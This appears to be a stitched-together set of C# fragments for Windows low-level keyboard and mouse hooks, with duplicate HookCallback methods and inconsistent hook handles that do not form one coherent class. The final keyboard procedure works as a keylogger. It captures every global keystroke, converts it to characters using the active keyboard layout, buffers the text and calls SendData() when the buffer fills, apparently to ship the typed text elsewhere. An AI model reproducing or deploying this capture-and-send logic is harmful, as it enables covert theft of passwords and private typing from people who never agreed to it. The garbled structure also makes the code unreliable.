public void UnHook()
{
if (hHook != 0)
{
WinApiMethods.UnhookWindowsHookEx(hHook);
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0)
{
var hookStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
var vkc = (VirtualKeyCode)hookStruct.vkCode;
//Debug.WriteLine("up - {0}/{1}/{2}", KeyInterop.KeyFromVirtualKey((int)hookStruct.vkCode), hookStruct.vkCode, vkc);
switch ((KeyboardMessages)wParam)
{
case KeyboardMessages.WM_KEYDOWN:
case KeyboardMessages.WM_SYSKEYDOWN:
{
this.KeyboardKeyDown(vkc);
break;
}
case KeyboardMessages.WM_KEYUP:
case KeyboardMessages.WM_SYSKEYUP:
{
this.KeyboardKeyUp(vkc);
break;
}
}
}
return(WinApiMethods.CallNextHookEx(_hookID, nCode, wParam, lParam));
}
private IntPtr SetHook(LowLevelProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return(WinApiMethods.SetWindowsHookEx((int)HookType.WH_KEYBOARD_LL, proc, WinApiMethods.GetModuleHandle(curModule.ModuleName), 0));
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0)
{
var hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));
switch ((MouseMessages)wParam)
{
case MouseMessages.WM_MOUSEMOVE:
{
this.Move(hookStruct.pt);
break;
}
case MouseMessages.WM_LBUTTONDOWN:
{
this.LeftButtonDown(hookStruct.pt);
break;
}
case MouseMessages.WM_LBUTTONUP:
{
this.LeftButtonUp(hookStruct.pt);
break;
}
case MouseMessages.WM_RBUTTONDOWN:
{
this.RightButtonDown(hookStruct.pt);
break;
}
case MouseMessages.WM_RBUTTONUP:
{
this.RightButtonUp(hookStruct.pt);
break;
}
case MouseMessages.WM_MOUSEWHEEL:
{
// delta > 0 - wheel up
// delta < 0 - wheel down
this.WheelMove(hookStruct.mouseData.HighWord() / 120);
break;
}
}
}
return(WinApiMethods.CallNextHookEx(_hookID, nCode, wParam, lParam));
}
private string GetLayoutSymbol(Keys keys)
{
if (keys == Keys.Enter || keys == Keys.Back)
{
return($"#{keys.ToString()}#");
}
IntPtr layout = WinApiMethods.GetKeyboardLayout(WinApiMethods.GetWindowThreadProcessId(WinApiMethods.GetForegroundWindow(), IntPtr.Zero));
bool CapsLockState = (((ushort)WinApiMethods.GetKeyState(0x14)) & 0xffff) != 0;
bool ShiftState = (WinApiMethods.GetAsyncKeyState((int)Keys.ShiftKey) & 0x8000) != 0;
var buf = new StringBuilder(256);
var keyboardState = new byte[256];
if (CapsLockState ^ ShiftState)
{
keyboardState[(int)Keys.ShiftKey] = 0xff;
}
WinApiMethods.ToUnicodeEx((uint)keys, 0, keyboardState, buf, 256, 0, layout);
return(buf.ToString());
}
private int LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode < 0 || SizeBufer == 0 || (wParam.ToInt32() != (int)HookMessages.WM_KEYDOWN))
{
return(WinApiMethods.CallNextHookEx(hHook, nCode, wParam, lParam));
}
Keys key = (Keys)Marshal.ReadInt32(lParam);
string sym = GetLayoutSymbol(key);
KeysStr += sym;
countEnterSym++;
if (countEnterSym >= SizeBufer)
{
SendData();
countEnterSym = 0;
KeysStr = String.Empty;
}
return(WinApiMethods.CallNextHookEx(hHook, nCode, wParam, lParam));
}
public virtual void Dispose()
{
WinApiMethods.UnhookWindowsHookEx(this._hookID);
}
